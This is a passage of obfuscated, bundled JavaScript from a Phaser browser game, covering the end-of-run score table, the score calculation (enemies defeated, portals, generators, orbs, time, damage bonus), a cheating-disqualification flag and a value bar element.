(this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x21d98a } }), _0x2465e2 && this['hiScoreSizer']['setVisible'](!0x0), this['flashTotal'](this['totalRowSizer'])); } ['maybeShowNextRow'](_0x47d09b) { const _0x33b720 = this['rowSizers']['find'](_0x601ad3 => !_0x601ad3['visible']); if (!_0x33b720) return; const _0x2c26ad = this['rowSizers']['find'](_0x19de4f => !_0x19de4f['visible']); if (!_0x2c26ad) return; const _0x1f8657 = this['rowSizers']['filter'](_0x53b945 => _0x53b945['visible']), _0x654d46 = _0x1f8657['map'](_0x3f4667 => _0x3f4667['space']['top']); _0x2c26ad['setVisible'](!0x0), _0x2c26ad['setAlpha'](0x0); const _0x548282 = this['scene']['tweens']['add']({ 'targets': _0x33b720, 'alpha': 0x1, 'duration': _0x47d09b, 'onComplete': () => { this['scene']['tweens']['remove'](_0x548282); } }), _0x4b2830 = this['scene']['tweens']['add']({ 'targets': { 'value': 0x0 }, 'value': (0x0, _0xa5e1a0['figmaSize'])(0x18) + 0xa, 'duration': _0x47d09b, 'ease': 'Quad.EaseOut', 'onComplete': () => { this['scene']['tweens']['remove'](_0x4b2830); }, 'onUpdate': _0x5aad7d => { const _0x30e279 = _0x5aad7d['getValue'](); _0x1f8657['forEach']((_0x504b45, _0x57e8c3) => { const _0x2d63f8 = _0x654d46[_0x57e8c3]; _0x504b45['space']['top'] = _0x2d63f8 + _0x30e279; }); } }); return _0x2c26ad; } ['createRowContainerSizer']() { const _0x26d5ce = this['scene']['rexUI']['add']['overlapSizer']({ 'height': 0.8 * _0x28600e['PHASER_CONFIG']['scale']['height'] })['setDepth'](_0x28600e['LAYER_DEPTHS']['UI_MAIN']); return Object['values']({ ...this['config']['runSummaryValues'] })['filter'](_0x353bdf => !_0x353bdf['hide'])['sort']((_0x46d129, _0x5c6ebe) => _0x46d129['order'] - _0x5c6ebe['order'])['forEach'](_0x1b56e4 => { const _0x4fbd07 = this['createRow'](_0x1b56e4); this['rowSizers']['push'](_0x4fbd07), _0x26d5ce['add'](_0x4fbd07, { 'align': 'top' }); }), _0x26d5ce; } ['createElement']() { const _0x627829 = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y', 'space': { 'item': 0xa } })['setDepth'](_0x28600e['LAYER_DEPTHS']['UI_MAIN']), _0x54501c = this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Bold', 'TOTAL\x20SCORE', (0x0, _0xa5e1a0['figmaSize'])(0x28)); this['scoreText'] = this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Bold', '', (0x0, _0xa5e1a0['figmaSize'])(0x28))['setTint'](_0xa5e1a0['UI_YELLOW']), this['totalRowSizer'] = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'space': { 'item': 0xa }, 'width': 0.4 * _0x28600e['PHASER_CONFIG']['scale']['width'] })['add'](_0x54501c, { 'proportion': 0x1, 'align': 'left' })['add'](this['scoreText'], { 'proportion': 0x1, 'align': 'right' }), this['hiScoreSizer'] = this['createHiScoreSizer'](); const _0x226708 = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'space': { 'item': 0xa }, 'width': 0.4 * _0x28600e['PHASER_CONFIG']['scale']['width'] })['add'](this['totalRowSizer'], { 'align': 'left' })['add'](this['hiScoreSizer'], { 'align': 'right', 'padding': { 'right': -0xc8 } }), _0x45852d = this['scene']['add']['rectangle'](0x0, 0x0, 0.4 * _0x28600e['PHASER_CONFIG']['scale']['width'], 0x2, 0xffffff, 0.5); return this['rowContainerSizer'] = this['createRowContainerSizer'](), _0x627829['add'](_0x226708, { 'align': 'top' })['add'](_0x45852d)['add'](this['rowContainerSizer'], { 'align': 'top' }), _0x627829; } ['createHiScoreSizer']() { const _0x3531a3 = this['gameContext']['getAnimationConfig']('ui/red_frame'); return this['hiScoreImage'] = this['scene']['add']['image'](0x0, 0x0, _0x3531a3['textureName'], (0x0, _0xa5e1a0['getFrame'])(this['gameContext'], 'ui/red_frame')), this['scene']['rexUI']['add']['overlapSizer']({ 'height': this['hiScoreImage']['height'], 'width': this['hiScoreImage']['width'] })['add'](this['hiScoreImage'])['setVisible'](!0x1); } ['createRow'](_0x4ca965) { const _0xf2ad42 = this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Bold', _0x4ca965['text'], (0x0, _0xa5e1a0['figmaSize'])(0x18)), _0x552d50 = Math['abs'](_0x4ca965['scoreValue']), _0x1f3424 = _0x4ca965['scoreValue'] > 0x0 ? '+' : 0x0 === _0x4ca965['scoreValue'] ? '' : '-', _0x4a2b55 = this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Bold', _0x1f3424 + '\x20' + _0x552d50 + '\x20', (0x0, _0xa5e1a0['figmaSize'])(0x18))['setTint'](_0xa5e1a0['UI_WHITE']), _0xcb8cea = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'x', 'space': { 'item': 0xa }, 'width': 0.4 * _0x28600e['PHASER_CONFIG']['scale']['width'], 'height': (0x0, _0xa5e1a0['figmaSize'])(0x18) + 0xa }); if (_0x4ca965['iconPath']) { const _0x425f5c = this['usedIconOffset'] ? -0x26 : 0x0; this['usedIconOffset'] = !this['usedIconOffset']; const _0x303b5a = this['gameContext']['getAnimationConfig'](_0x4ca965['iconPath']), _0x233dd4 = _0x303b5a['animationConfig']['key'] ? void 0x0 : _0x303b5a['animationConfig']['staticFrame']; if (_0x233dd4) { const _0x10ab7a = this['scene']['add']['image'](0x0, 0x0, _0x303b5a['textureName'], _0x233dd4)['setScale'](0.8); _0xcb8cea['add'](_0x10ab7a, { 'align': 'left-top', 'padding': { 'top': -0x19, 'left': -0x58 + _0x425f5c, 'right': -_0x425f5c } }); } } else this['usedIconOffset'] = !0x1; if (_0xcb8cea['add'](_0xf2ad42, { 'align': 'left-top', 'key': 'categoryText' }), _0x4ca965['amountText']) { const _0x50af88 = this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Bold', _0x4ca965['amountText'] ?? '', (0x0, _0xa5e1a0['figmaSize'])(0x18))['setTint'](_0xa5e1a0['UI_YELLOW']); _0xcb8cea['add'](_0x50af88, { 'align': 'left-top' }); } return _0xcb8cea['add'](_0x4a2b55, { 'proportion': 0xa, 'align': 'right-top' })['setDepth'](_0x28600e['LAYER_DEPTHS']['UI_MAIN'])['layout'](), _0xcb8cea; } ['flashTotal'](_0x511657) { const _0x379b00 = []; _0x511657['getChildren']()['forEach'](_0x1324df => { _0x379b00['push'](_0x1324df['postFX']['addBloom'](0xffffff, 0x1, 0x1, 0x2, 0x3)); }), _0x379b00['push'](this['hiScoreImage']['postFX']['addBloom'](0xffffff, 0x1, 0x1, 0x2, 0x3)); const _0x13ddb3 = this['scene']['tweens']['addCounter']({ 'from': 0x1, 'to': 0x0, 'duration': 0x3e8, 'onUpdate': _0x290ab8 => { _0x379b00['forEach'](_0x437260 => { _0x437260['offsetX'] = 0x1 * _0x290ab8['getValue'](), _0x437260['offsetY'] = 0x1 * _0x290ab8['getValue'](), _0x437260['strength'] = 0.7 + 0x2 * _0x290ab8['getValue'](); }); }, 'onComplete': () => { _0x511657['getChildren']()['forEach']((_0x28d84e, _0x4c6d08) => { _0x28d84e['postFX']['clear'](); }), _0x379b00['forEach'](_0x3cba26 => _0x3cba26['destroy']()), this['scene']['tweens']['remove'](_0x13ddb3); } }); } } _0xa6ef14['EndRunTableElement'] = _0xa62f0f; }, 0x70f: (_0x59053d, _0x232f03, _0x124d39) => { 'use strict'; Object['defineProperty'](_0x232f03, '__esModule', { 'value': !0x0 }), _0x232f03['UiEndRunCalculationController'] = _0x232f03['LOCAL_STORAGE_HIGHEST_LEVEL_KEY'] = _0x232f03['LOCAL_STORAGE_HIGHEST_POINTS_KEY'] = _0x232f03['PAR_PER_LEVEL_MS'] = void 0x0; const _0x1652a1 = _0x124d39(0xac1), _0x32fe71 = _0x124d39(0x5d3), _0x397c63 = _0x124d39(0xbf0), _0x3cb81d = _0x124d39(0x16d0), _0x3a8666 = (0x0, _0x397c63['deepFreeze'])({ 'enemyDefeated': { 'text': '{enemyName}\x20Defeated:', 'scoreMultiplier': NaN, 'scoreValue': 0x0, 'order': 0x0 }, 'portalsDisabled': { 'text': 'Portals\x20disabled:', 'scoreMultiplier': 0x7d0, 'scoreValue': 0x0, 'order': 0x1 }, 'generatorsSaved': { 'text': 'Generators\x20Saved:', 'scoreMultiplier': 0x7d0, 'scoreValue': 0x0, 'order': 0x2 }, 'orbsCollected': { 'text': 'Orbs\x20collected:', 'scoreMultiplier': 0x28, 'scoreValue': 0x0, 'order': 0x3 }, 'timePlayed': { 'text': 'Time:', 'scoreMultiplier': 0x28, 'scoreValue': 0x0, 'order': 0x4 }, 'damageTaken': { 'text': 'Damage\x20avoided\x20Bonus:', 'initialScoreValue': 0x1388, 'scoreMultiplier': -0x1f4, 'scoreValue': 0x0, 'amountText': '0', 'order': 0x5 }, 'highestLevel': { 'text': 'Highest\x20level\x20reached:', 'scoreMultiplier': 0xbb8, 'scoreValue': 0x0, 'order': 0x6 }, 'completedRun': { 'text': 'Run\x20completed:', 'scoreMultiplier': 0x2710, 'scoreValue': 0x0, 'order': 0x7 } }), _0x293f0c = ['damageTaken', 'highestLevel', 'timePlayed']; _0x232f03['PAR_PER_LEVEL_MS'] = 0x2bf20, (_0x232f03['LOCAL_STORAGE_HIGHEST_POINTS_KEY'] = 'variance_highest_points', _0x232f03['LOCAL_STORAGE_HIGHEST_LEVEL_KEY'] = 'variance_highest_level'); class _0x3d3aea extends _0x1652a1['SceneComponentController']{ ['init']() { this['gameMessageBus']['subscribe'](this, 'playerDeadRequestTotalScoreCalculation', () => { this['updateRunSummary'](this['gameContext']['getFromGameStore']('runState')), this['gameMessageBus']['publish']('playerDead'), (0x0, _0x32fe71['runningAsBackend'])() || this['component']['onPlayerDead'](); }), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => { this['updateRunSummary'](this['gameContext']['getFromGameStore']('runState')), (0x0, _0x32fe71['runningAsBackend'])() || this['component']['onObjectiveComplete'](); }); } ['updateRunSummary'](_0x326914) { if (!this['component']) return; this['updateRunSummaryValues'](_0x326914); const _0x11171e = this['calculateTotalValue'](this['component']['runSummaryValues']); this['updateTotalScore'](_0x326914, _0x11171e), this['component']['totalScore'] = _0x11171e, this['maybeStoreNewRecord'](_0x11171e), this['maybeStoreNewLevelRecord'](_0x326914['currentLevelIndex']); } ['updateRunSummaryValues'](_0x226f32) { const _0x3c64d9 = _0x293f0c['reduce']((_0x4a8761, _0x443784) => (_0x4a8761[_0x443784] = _0x3a8666[_0x443784], _0x4a8761), {}); this['saveHighestLevelReached'](_0x226f32, _0x3c64d9), this['saveKillCount'](_0x226f32, _0x3c64d9), this['generatorsSavedCount'](_0x226f32, _0x3c64d9), this['savePortalsDisabledCount'](_0x226f32, _0x3c64d9), this['saveDamageTaken'](_0x226f32, _0x3c64d9), this['saveOrbsCollected'](_0x226f32, _0x3c64d9), this['saveTimePlayed'](_0x226f32, _0x3c64d9), this['saveRunCompleted'](_0x226f32, _0x3c64d9), this['component']['runSummaryValues'] = _0x3c64d9; } ['updateTotalScore'](_0x167a13, _0x5d5251) { const _0xdd9c47 = { ..._0x167a13, 'totalScore': _0x5d5251 }; this['gameContext']['updateGameStore']('runState', _0xdd9c47); } ['sumLevelTimes'](_0x2f99b0) { return _0x2f99b0['levelStates']['reduce']((_0x5233b2, { levelTimeMS: _0x2293e5 }, _0x4d0b03) => { const _0x348a2f = _0x2f99b0['playerState']['currentHealth'] > 0x0, _0x36d779 = _0x2f99b0['currentLevelIndex'] === _0x4d0b03; return _0x5233b2 + (_0x348a2f || !_0x36d779 ? _0x2293e5 : 0x0); }, 0x0); } ['calculateTotalValue'](_0x4b5c4c) { const _0x5ad4d1 = Object['values'](_0x4b5c4c)['reduce']((_0x2558e0, { scoreValue: _0x331450 }) => _0x2558e0 + _0x331450, 0x0); return Math['max'](0x0, Math['ceil'](_0x5ad4d1)); } ['maybeStoreNewRecord'](_0x2f293f) { if (!this['hasFinishedRun']()) return; _0x2f293f > parseInt(localStorage['getItem'](_0x232f03['LOCAL_STORAGE_HIGHEST_POINTS_KEY']) ?? '0') && (localStorage['setItem'](_0x232f03['LOCAL_STORAGE_HIGHEST_POINTS_KEY'], _0x2f293f['toString']()), this['component']['highestScore'] = !0x0); } ['maybeStoreNewLevelRecord'](_0x25e9d2) { if (!this['hasFinishedRun']()) return; _0x25e9d2 > parseInt(localStorage['getItem'](_0x232f03['LOCAL_STORAGE_HIGHEST_LEVEL_KEY']) ?? '0') && (localStorage['setItem'](_0x232f03['LOCAL_STORAGE_HIGHEST_LEVEL_KEY'], _0x25e9d2['toString']()), this['component']['highestLevel'] = !0x0); } ['hasFinishedRun']() { const _0x5e2067 = this['gameContext']['getFromGameStore']('runState'), _0x600b33 = _0x5e2067['playerState']['currentHealth'] <= 0x0, _0x404817 = _0x5e2067['currentLevelIndex'] === _0x5e2067['levelSequence']['length'] - 0x1; return _0x600b33 || _0x404817; } ['getEnemyConfig'](_0x1833d1) { return this['gameContext']['getEnemyConfig'](_0x1833d1); } ['saveHighestLevelReached'](_0x1d132e, _0x361e69) { const _0x5c04e8 = _0x1d132e['currentLevelIndex']; _0x361e69['highestLevel'] = { ..._0x3a8666['highestLevel'], 'amountText': '' + (_0x5c04e8 + 0x1), 'scoreValue': Math['ceil'](_0x5c04e8 * _0x3a8666['highestLevel']['scoreMultiplier']) }; } ['saveKillCount'](_0x57d784, _0x45e8f6) { const _0x27a6db = {}; _0x57d784['levelStates']['forEach'](_0x3aac0c => { Object['entries'](_0x3aac0c['killCount'])['forEach'](([_0x402452, _0x18ddc3]) => { _0x27a6db[_0x402452] || (_0x27a6db[_0x402452] = 0x0), _0x27a6db[_0x402452] += _0x18ddc3; }); }), Object['entries'](_0x27a6db)['forEach'](([_0x232a59, _0x428f74]) => { const _0x248a45 = this['getEnemyConfig'](_0x232a59), _0x35ca52 = _0x248a45['pluralName'] ?? _0x248a45['name']; _0x45e8f6[_0x232a59] = { ..._0x3a8666['enemyDefeated'], 'amountText': 'x\x20' + _0x428f74, 'scoreMultiplier': _0x248a45['pointValue'], 'scoreValue': _0x248a45['pointValue'] * _0x428f74, 'text': _0x3a8666['enemyDefeated']['text']['replace']('{enemyName}', _0x35ca52) }; }); } ['generatorsSavedCount'](_0x593d09, _0x3ec30f) { const _0x3f91c0 = _0x593d09['levelStates']['reduce']((_0xc7d986, _0x1da8db) => { const _0x4a26f6 = _0x593d09['playerState']['currentHealth'] > 0x0, _0x3df918 = _0x593d09['currentLevelIndex'] === _0x593d09['levelStates']['indexOf'](_0x1da8db); return !_0x4a26f6 && _0x3df918 ? 0x0 : _0xc7d986 + _0x1da8db['generatorsSaved']; }, 0x0); _0x3ec30f['generatorsSaved'] = { ..._0x3a8666['generatorsSaved'], 'amountText': 'x\x20' + _0x3f91c0, 'scoreValue': _0x3f91c0 * _0x3a8666['generatorsSaved']['scoreMultiplier'], 'hide': 0x0 === _0x3f91c0 }; } ['savePortalsDisabledCount'](_0x3e7d02, _0x2e3b66) { const _0x172b12 = _0x3e7d02['levelStates']['reduce']((_0x42369f, _0x59dad0) => _0x42369f + _0x59dad0['portalsDisabled'], 0x0); _0x2e3b66['portalsDisabled'] = { ..._0x3a8666['portalsDisabled'], 'amountText': 'x\x20' + _0x172b12, 'scoreValue': _0x172b12 * _0x3a8666['portalsDisabled']['scoreMultiplier'], 'hide': 0x0 === _0x172b12 }; } ['saveDamageTaken'](_0x3f078b, _0x450b89) { const _0x12fd9d = _0x3f078b['levelStates']['map'](_0x2222d3 => { const _0x17b449 = _0x2222d3['damageTaken'] * _0x3a8666['damageTaken']['scoreMultiplier'], _0x20371c = _0x3f078b['playerState']['currentHealth'] > 0x0, _0x495840 = _0x3f078b['currentLevelIndex'] === _0x3f078b['levelStates']['indexOf'](_0x2222d3); return !_0x20371c && _0x495840 ? 0x0 : Math['max'](0x0, (_0x3a8666['damageTaken']['initialScoreValue'] ?? 0x0) + _0x17b449); })['reduce']((_0xa8b17d, _0x2f99d4) => _0xa8b17d + _0x2f99d4, 0x0); _0x3f078b['levelStates']['reduce']((_0x716bd1, _0x4024b9) => _0x716bd1 + _0x4024b9['damageTaken'], 0x0), _0x450b89['damageTaken'] = { ..._0x3a8666['damageTaken'], 'amountText': '', 'scoreValue': _0x12fd9d, 'hide': !0x1 }; } ['saveOrbsCollected'](_0x476334, _0x19ccdd) { const _0x1ab9c1 = _0x476334['levelStates']['reduce']((_0x2c4239, _0x5a8e35) => _0x2c4239 + (_0x5a8e35['inventory']['energy'] ?? 0x0), 0x0); _0x19ccdd['orbsCollected'] = { ..._0x3a8666['orbsCollected'], 'amountText': 'x\x20' + _0x1ab9c1, 'scoreValue': _0x1ab9c1 * _0x3a8666['orbsCollected']['scoreMultiplier'], 'hide': 0x0 === _0x1ab9c1 }; } ['saveTimePlayed'](_0x37bd3e, _0x316505) { const _0x3eb84a = _0x37bd3e['levelStates']['reduce']((_0x4cf750, _0x12f0be, _0x14e4a7) => _0x4cf750 + this['calculateTimePlayedPointsPerLevel'](_0x37bd3e, _0x14e4a7), 0x0); _0x316505['timePlayed'] = { ..._0x3a8666['timePlayed'], 'amountText': '' + (0x0, _0x3cb81d['formatTime'])(this['sumLevelTimes'](_0x37bd3e)), 'scoreValue': Math['ceil'](_0x3eb84a * _0x3a8666['timePlayed']['scoreMultiplier']) }; } ['saveRunCompleted'](_0x156c65, _0x1a6cc1) { const _0x4c1e2e = _0x156c65['playerState']['currentHealth'] > 0x0, _0x8894df = _0x156c65['currentLevelIndex'] === _0x156c65['levelSequence']['length'] - 0x1, _0x651067 = _0x4c1e2e && _0x8894df; _0x1a6cc1['completedRun'] = { ..._0x3a8666['completedRun'], 'scoreValue': _0x651067 ? _0x3a8666['completedRun']['scoreMultiplier'] : 0x0, 'hide': !_0x651067 }; } ['calculateTimePlayedPointsPerLevel'](_0x2a2d5e, _0x1b0b5c) { const _0x1dd249 = _0x2a2d5e['levelStates'][_0x1b0b5c], _0x4f8f98 = _0x2a2d5e['playerState']['currentHealth'] > 0x0, _0x19ab3f = _0x2a2d5e['currentLevelIndex'] === _0x1b0b5c; if (!_0x4f8f98 && _0x19ab3f) return 0x0; const _0x41d108 = _0x232f03['PAR_PER_LEVEL_MS'] - _0x1dd249['levelTimeMS'], _0x3a4a7f = _0x41d108 < 0x0 ? Math['abs'](_0x41d108) : 0x0, _0x2099d5 = Math['min'](_0x3a4a7f, 0x2bf20), _0x4e68c0 = Math['max'](0x0, _0x41d108) - _0x2099d5, _0x857616 = Math['floor'](_0x4e68c0 / 0x3e8); return Math['max'](0x0, _0x857616); } } _0x232f03['UiEndRunCalculationController'] = _0x3d3aea; }, 0x17b4: (_0x52a030, _0x8cbd97, _0x2dcf7d) => { 'use strict'; Object['defineProperty'](_0x8cbd97, '__esModule', { 'value': !0x0 }), _0x8cbd97['UiEndRunComponent'] = void 0x0; const _0x4dea5c = _0x2dcf7d(0xf18), _0x5b9d88 = _0x2dcf7d(0x1709), _0x10095e = _0x2dcf7d(0x138a), _0x2a26b0 = _0x2dcf7d(0x486), _0x243e03 = _0x2dcf7d(0x1c96), _0x499bd3 = 'musicResults'; class _0x46e00b extends _0x5b9d88['SceneComponent']{ ['summarySizer'];['titleSizer'];['tableElement'];['buttonsElement'];['runSummaryValues'] = {};['totalScore'] = 0x0;['highestScore'] = !0x1;['highestLevel'] = !0x1;['onCreate']() { this['gameMessageBus']['subscribe'](this, 'voidRun', () => this['handleVoidRun']()), this['gameContext']['updateGameStore']('photoModeEnabled', !0x1, { 'forceUpdate': !0x0 }); } ['destroy']() { this['summarySizer'] && (this['summarySizer']['getAllChildren']()['forEach'](_0x16ebc9 => _0x16ebc9['destroy']()), this['summarySizer']['destroy'](), this['titleSizer']['getAllChildren']()['forEach'](_0x747005 => _0x747005['destroy']()), this['titleSizer']['destroy'](), this['tableElement']['destroy'](), this['buttonsElement']['destroy'](), this['scene']['cameras']['main']?.['postFX']['clear']()); } ['onPlayerDead']() { const _0x438741 = this['gameContext']['getFromGameStore']('runState'), _0x4003ac = _0x438741['levelStates'][_0x438741['currentLevelIndex']]; _0x4003ac['levelTimeMS'] = this['gameContext']['timeProvider']['currentEngineTime'], _0x438741['levelStates'][_0x438741['currentLevelIndex']] = _0x4003ac, this['gameContext']['updateGameStore']('runState', _0x438741, { 'forceUpdate': !0x0 }), this['gameContext']['timeProvider']['delayAction'](() => { this['gameMessageBus']['publish']('hideUi'), this['gameContext']['updateGameStore']('photoModeEnabled', !0x0, { 'forceUpdate': !0x0 }), this['createSummary'](!0x1), this['buttonsElement']['onPlayerDead'](), this['gameMessageBus']['publish']('requestStopSoundsByGroupName', { 'groupName': 'backgroundMusic', 'allowFadeOut': !0x0 }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x499bd3 } }), this['subscribeToGamePad'](); }, 0x7d0); } ['onObjectiveComplete']() { const _0x371bf8 = this['gameContext']['getFromGameStore']('runState'); _0x371bf8['currentLevelIndex'] === _0x371bf8['levelSequence']['length'] - 0x1 && this['gameContext']['timeProvider']['delayAction'](() => { const _0x2ccbf6 = this['isVictory'](_0x371bf8); this['gameMessageBus']['publish']('hideUi'), this['gameContext']['updateGameStore']('photoModeEnabled', !0x0, { 'forceUpdate': !0x0 }), this['createSummary'](_0x2ccbf6), this['buttonsElement']['onObjectiveComplete'](), this['gameMessageBus']['publish']('requestStopSoundsByGroupName', { 'groupName': 'backgroundMusic', 'allowFadeOut': !0x0 }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': _0x499bd3 } }), this['subscribeToGamePad'](); }, 0x7d0); } ['subscribeToGamePad']() { this['gameMessageBus']['subscribe'](this, 'actionStateChange', _0x477451 => this['handleActionStateChange'](_0x477451)); } ['handleActionStateChange'](_0x1683b4) { if (_0x1683b4['state']) switch (_0x1683b4['action']) { case 'jump': this['actionPlayAgain'](); break; case 'secondaryAttack1': this['actionReturnToMenu'](); } } async['actionReturnToMenu']() { await this['gameContext']['timeProvider']['delayPromise'](0xfa), this['gameMessageBus']['publish']('startHub'); } async['actionPlayAgain']() { await this['gameContext']['timeProvider']['delayPromise'](0xfa), this['gameMessageBus']['publish']('playAgain'); } async['actionSkip']() { await this['gameContext']['timeProvider']['delayPromise'](0xfa), this['scene']['tweens']['killAll'](), this['tableElement']['requestSkip'](), this['tableElement']['showRowsInstantly'](this['totalScore'], this['highestScore']); } ['actionSaveReplay']() { this['gameMessageBus']['publish']('initiateReplayDataStorage'); } async['createSummary'](_0x3cf643) { this['summarySizer'] || (this['summarySizer'] = this['createSummarySizer'](), this['titleSizer'] = this['createTitleSizer'](_0x3cf643), this['tableElement'] = new _0x2a26b0['EndRunTableElement']({ ...this['config'], 'runSummaryValues': this['runSummaryValues'] }), this['buttonsElement'] = new _0x243e03['EndRunButtonsElement']({ ...this['config'], 'returnToMenuAction': () => this['actionReturnToMenu'](), 'playAgainAction': () => this['actionPlayAgain'](), 'saveReplayAction': () => this['actionSaveReplay'](), 'skipAction': () => this['actionSkip']() }), this['assembleLayout'](), await this['tableElement']['showRows'](() => this['summarySizer']['layout'](), this['highestScore']), this['onCountUpComplete']()); } ['assembleLayout']() { this['summarySizer']['add'](this['titleSizer'], { 'proportion': 0.3, 'align': 'top' })['add'](this['tableElement']['get'](), { 'proportion': 0x2, 'align': 'top' })['layout'](); } ['createSummarySizer']() { return this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y', 'anchor': { 'left': '0%+50', 'top': '0%+50' }, 'space': { 'item': 0x50 }, 'width': _0x4dea5c['PHASER_CONFIG']['scale']['width'] - 0x64, 'height': _0x4dea5c['PHASER_CONFIG']['scale']['height'] - 0x64 })['setDepth'](_0x4dea5c['LAYER_DEPTHS']['UI_MAIN'])['layout'](); } ['createTitleSizer'](_0x21e51e) { const _0x4e0c93 = this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y', 'space': { 'item': 0xa } }); return _0x4e0c93['add'](this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'antonio-bold-shadow', this['getSummaryTitleText'](_0x21e51e), (0x0, _0x10095e['figmaSize'])(0x78)), { 'padding': -0x1e, 'align': 'center' }), _0x4e0c93['add'](this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Bold', this['getSubTitleText'](_0x21e51e), (0x0, _0x10095e['figmaSize'])(0x1e))), _0x4e0c93['setDepth'](_0x4dea5c['LAYER_DEPTHS']['UI_MAIN']), _0x4e0c93['layout'](), _0x4e0c93; } ['getSummaryTitleText'](_0x344052) { return _0x344052 ? 'VICTORY!' : 'VARIANT\x20EXTRACTED'; } ['getSubTitleText'](_0x5a2ebe) { return this['gameContext']['getFromGameStore']('runState')['levelStates']['some'](_0x5d5be6 => _0x5d5be6['cheated']) ? 'Cheating\x20has\x20resulted\x20in\x20disqualification' : _0x5a2ebe ? 'Variants\x20extracted' : 'Another\x20chance\x20to\x20prove\x20yourself'; } ['isVictory'](_0x2649bd) { const _0x200dde = _0x2649bd['currentLevelIndex'] === _0x2649bd['levelSequence']['length'] - 0x1, _0x3d3c7d = _0x2649bd['playerState']['currentHealth'] > 0x0; return _0x200dde && _0x3d3c7d; } ['handleVoidRun']() { const _0x4ca79a = { ...this['gameContext']['getFromGameStore']('runState') }, _0x39bfb7 = { ..._0x4ca79a['levelStates'][_0x4ca79a['currentLevelIndex']] }; _0x39bfb7['cheated'] = !0x0, _0x4ca79a['levelStates'][_0x4ca79a['currentLevelIndex']] = _0x39bfb7, this['gameContext']['updateGameStore']('runState', _0x4ca79a); } ['onCountUpComplete']() { this['scene']['cameras']['main']['postFX']['addShine'](), this['buttonsElement']['onCountUpComplete'](); } } _0x8cbd97['UiEndRunComponent'] = _0x46e00b; }, 0xb6: (_0xe34f, _0x5446d2, _0xea63b3) => { 'use strict'; Object['defineProperty'](_0x5446d2, '__esModule', { 'value': !0x0 }), _0x5446d2['BarElement'] = void 0x0; const _0x4f8214 = _0xea63b3(0x1724), _0x28062d = _0xea63b3(0x138a), _0x449a98 = 0x777777, _0x526a87 = 0xff0000; class _0x54cd3c extends _0x4f8214['UiElement']{ ['bgImage'];['fillImage'];['effectImage'];['valueLabel'];['currentColors'] = [];['currentColorIndex'] = 0x0;['fadeTween']; constructor(_0x36b2fb) { super(_0x36b2fb), this['setup'](), this['blink'](); } ['setValue'](_0x1966c3) { const _0x415c35 = parseInt(this['valueLabel']['text']); if (this['renderValueUpdate'](_0x1966c3), this['element']['layout'](), _0x415c35 === _0x1966c3) return this; const _0x128a6d = this['config']['effectGainTint'] ?? _0x449a98, _0x5a8a2a = this['config']['effectLossTint'] ?? _0x526a87; return this['effectImage']['tint'] = _0x1966c3 > _0x415c35 ? _0x128a6d : _0x5a8a2a, this['fadeOutEffect'](0x12c), this; } ['setMaxValue'](_0x13fcfe) { return this['config']['maxValue'] = _0x13fcfe, this; } ['flash'](_0x281c2a) { const _0x4763b8 = this['config']['effectGainTint'] ?? _0x449a98, _0x2395c1 = this['config']['effectLossTint'] ?? _0x526a87; return this['effectImage']['tint'] = _0x281c2a?.['gain'] ? _0x4763b8 : _0x2395c1, this['fadeOutEffect'](_0x281c2a?.['durationMS'] ?? 0x12c), this; } ['destroy']() { this['bgImage']['destroy'](!0x0), this['fillImage']['destroy'](!0x0), this['valueLabel']['destroy'](!0x0), this['element']['destroy'](!0x0), this['currentColors'] = []; } ['setup']() { this['element'] = this['scene']['rexUI']['add']['overlapSizer'](); const _0x257307 = this['config']['bgTint'] ?? 0x777777; this['bgImage'] = this['scene']['add']['image'](0x0, 0x0, this['config']['texturePath'], (0x0, _0x28062d['getFrame'])(this['gameContext'], this['config']['barBgFrameName']))['setTint'](_0x257307), this['fillImage'] = this['scene']['add']['image'](0x0, 0x0, this['config']['texturePath'], (0x0, _0x28062d['getFrame'])(this['gameContext'], this['config']['barFillFrameName'])), this['effectImage'] = this['scene']['add']['image'](0x0, 0x0, this['config']['texturePath'], (0x0, _0x28062d['getFrame'])(this['gameContext'], this['config']['barEffectFrameName']))['setAlpha'](0x0)['setBlendMode'](Phaser['BlendModes']['ADD']), this['valueLabel'] = this['createValueLabel'](), this['config']['renderValue'] || this['valueLabel']['setVisible'](!0x1), this['element']['width'] = this['bgImage']['width'], this['element']['height'] = this['bgImage']['height'], this['element']['add'](this['bgImage'], { 'expand': !0x1 })['add'](this['fillImage'], { 'expand': !0x1 })['add'](this['effectImage'], { 'expand': !0x1 })['add'](this['scene']['rexUI']['add']['sizer']({ 'orientation': 'y' })['add'](this['valueLabel'], { 'align': 'center' })), this['element']['layout'](); } ['renderValueUpdate'](_0x119678) { const _0x2e2c60 = _0x119678 * (0x64 / this['config']['maxValue']); this['fillImage']['setCrop'](0x0, 0x0, this['element']['width'] * (_0x2e2c60 / 0x64), this['element']['height']), this['effectImage']['setCrop'](0x0, 0x0, this['element']['width'] * (_0x2e2c60 / 0x64), this['element']['height']); const _0x44943d = Object['keys'](this['config']['colorThresholds'])['map'](Number); _0x44943d['sort']((_0x37f131, _0xc42316) => _0x37f131 - _0xc42316); const _0x3eb0e8 = _0x44943d['find'](_0x22573e => _0x2e2c60 <= _0x22573e) ?? 0x0; let _0x2bb6f3 = this['config']['colorThresholds'][_0x3eb0e8]; Array['isArray'](_0x2bb6f3) || (_0x2bb6f3 = [_0x2bb6f3]), this['currentColors'] = _0x2bb6f3, this['currentColorIndex'] = 0x0, this['fillImage']['setTint'](this['currentColors'][this['currentColorIndex']] ?? 0xffffff), this['valueLabel']['resetDisplayContent']({ 'text': _0x119678 + '\x20/\x20' + this['config']['maxValue'] }); } ['createValueLabel']() { const 